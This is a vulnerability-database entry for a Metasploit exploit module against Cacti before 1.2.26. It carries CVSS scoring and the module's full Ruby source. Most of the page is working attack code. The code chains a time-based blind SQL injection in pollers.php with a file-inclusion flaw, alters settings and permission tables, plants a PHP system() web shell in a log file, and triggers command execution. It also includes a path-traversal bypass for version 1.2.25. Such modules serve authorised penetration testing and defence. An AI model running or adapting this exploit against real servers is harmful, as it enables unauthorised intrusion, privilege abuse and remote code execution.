Lucene search

K
metasploitAleksey Solovev, Christophe De La FuenteMSF:EXPLOIT-MULTI-HTTP-CACTI_POLLERS_SQLI_RCE-
HistoryJan 30, 2024 - 11:52 a.m.

Cacti RCE via SQLi in pollers.php

2024-01-3011:52:02
Aleksey Solovev, Christophe De La Fuente
www.rapid7.com
37
cacti
remote code execution
sql injection
local file inclusion
cve-2023-49085
cve-2023-49084
authentication
vulnerability
php script
access control
general administration.

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.2 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

45.8%

This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (pollers.php). This is granted by setting the Sites/Devices/Data permission in the General Administration section.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::SQLi
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Cacti
  prepend Msf::Exploit::Remote::AutoCheck

  class CactiError < StandardError; end
  class CactiNotFoundError < CactiError; end
  class CactiVersionNotFoundError < CactiError; end
  class CactiNoAccessError < CactiError; end
  class CactiCsrfNotFoundError < CactiError; end
  class CactiLoginError < CactiError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cacti RCE via SQLi in pollers.php',
        'Description' => %q{
          This exploit module leverages a SQLi (CVE-2023-49085) and a LFI
          (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to
          achieve RCE. Authentication is needed and the account must have access
          to the vulnerable PHP script (`pollers.php`). This is granted by
          setting the `Sites/Devices/Data` permission in the `General
          Administration` section.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Aleksey Solovev', # Initial research and discovery
          'Christophe De La Fuente' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi
          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)
          [ 'CVE', '2023-49085'], # SQLi
          [ 'CVE', '2023-49084'] # LFI (RCE)
        ],
        'Platform' => ['unix linux win'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Linux Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => [ 'unix', 'linux' ]
            }
          ],
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win'
            }
          ]
        ],
        'DefaultOptions' => {
          'SqliDelay' => 3
        },
        'DisclosureDate' => '2023-12-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
        OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
      ]
    )
  end

  def sqli
    @sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|
      sqli_final_payload = '"'
      sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')
      sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'pollers.php'),
        'method' => 'POST',
        'keep_cookies' => true,
        'vars_post' => {
          '__csrf_magic' => @csrf_token,
          'name' => 'Main Poller',
          'hostname' => 'localhost',
          'timezone' => '',
          'notes' => '',
          'processes' => '1',
          'threads' => '1',
          'id' => '2',
          'save_component_poller' => '1',
          'action' => 'save',
          'dbhost' => sqli_final_payload
        },
        'vars_get' => {
          'header' => 'false'
        }
      )
    end
  end

  def check
    # Step 1 - Check if the target is Cacti and get the version
    print_status('Checking Cacti version')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?

    html = res.get_html_document
    begin
      @cacti_version = parse_version(html)
      version_msg = "The web server is running Cacti version #{@cacti_version}"
    rescue CactiNotFoundError => e
      return CheckCode::Safe(e.message)
    rescue CactiVersionNotFoundError => e
      return CheckCode::Unknown(e.message)
    end

    if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')
      print_good(version_msg)
    else
      return CheckCode::Safe(version_msg)
    end

    # Step 2 - Login
    @csrf_token = parse_csrf_token(html)
    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?

    begin
      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
    rescue CactiError => e
      return CheckCode::Unknown("Login failed: #{e}")
    end

    @logged_in = true

    # Step 3 - Check if the user has enough permissions to reach `pollers.php`
    print_status('Checking permissions to access `pollers.php`')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'pollers.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )
    return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?
    return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401
    return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200

    # Step 4 - Check if it is vulnerable to SQLi
    print_status('Attempting SQLi to check if the target is vulnerable')
    return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable

    CheckCode::Vulnerable
  end

  def get_ext_link_id
    # Get an unused External Link ID with a time-based SQLi
    @ext_link_id = rand(1000..9999)
    loop do
      _res, elapsed_time = Rex::Stopwatch.elapsed_time do
        sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")
      end
      break if elapsed_time < datastore['SqliDelay']

      @ext_link_id = rand(1000..9999)
    end
    vprint_good("Got external link ID #{@ext_link_id}")
  end

  def exploit
    if @csrf_token.blank? || @cacti_version.blank?
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'GET',
        'keep_cookies' => true
      )
      fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?

      html = res.get_html_document
      if @csrf_token.blank?
        print_status('Getting the CSRF token to login')
        @csrf_token = parse_csrf_token(html)
        # exit early since without the CSRF token, we cannot login
        fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?

        vprint_good("CSRF token: #{@csrf_token}")
      end

      if @cacti_version.blank?
        print_status('Getting the version')
        begin
          @cacti_version = parse_version(html)
          vprint_good("Version: #{@cacti_version}")
        rescue CactiError => e
          # We can still log in without the version
          print_bad("Could not get the version, the exploit might fail: #{e}")
        end
      end
    end

    unless @logged_in
      begin
        do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
      rescue CactiError => e
        fail_with(Failure::NoAccess, "Login failure: #{e}")
      end
    end

    @log_file_path = "log/cacti#{rand(1..999)}.log"
    print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")
    @log_setting_name_bak = '_path_cactilog'
    sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")
    @do_settings_cleanup = true
    sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")
    register_file_for_cleanup(@log_file_path)

    print_status("Inserting the log file path `#{@log_file_path}` to the external links table")
    log_file_path_lfi = "../../#{@log_file_path}"
    # Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):
    #   $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);
    log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')
    get_ext_link_id
    sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")
    @do_ext_link_cleanup = true

    print_status('Getting the user ID and setting permissions (it might take a few minutes)')
    user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")
    fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)
    sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")
    @do_perms_cleanup = true

    print_status('Logging in again to apply new settings and permissions')
    # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.
    # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.
    cookie_jar_bak = cookie_jar.clone
    cookie_jar.clear
    csrf_token_bak = @csrf_token

    begin
      @csrf_token = get_csrf_token
    rescue CactiError => e
      fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")
    end

    begin
      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
    rescue CactiError => e
      fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")
    end

    print_status('Poisoning the log')
    header_name = rand_text_alpha(1).upcase
    sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")

    print_status('Triggering the payload')
    # Expecting no response
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'link.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => {
        header_name => payload.encoded
      },
      'vars_get' => {
        'id' => @ext_link_id,
        'headercontent' => 'true'
      }
    }, 1)

    # Restore the cookie_jar and the CSRF token to run cleanup without being blocked
    cookie_jar.clear
    self.cookie_jar = cookie_jar_bak
    @csrf_token = csrf_token_bak
  end

  def cleanup
    super

    if @do_ext_link_cleanup
      print_status('Cleaning up external link using SQLi')
      sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")
    end

    if @do_perms_cleanup
      print_status('Cleaning up permissions using SQLi')
      sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")
    end

    if @do_settings_cleanup
      print_status('Cleaning up the log path in `settings` table using SQLi')
      sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")
      sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")
    end
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.2 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

45.8%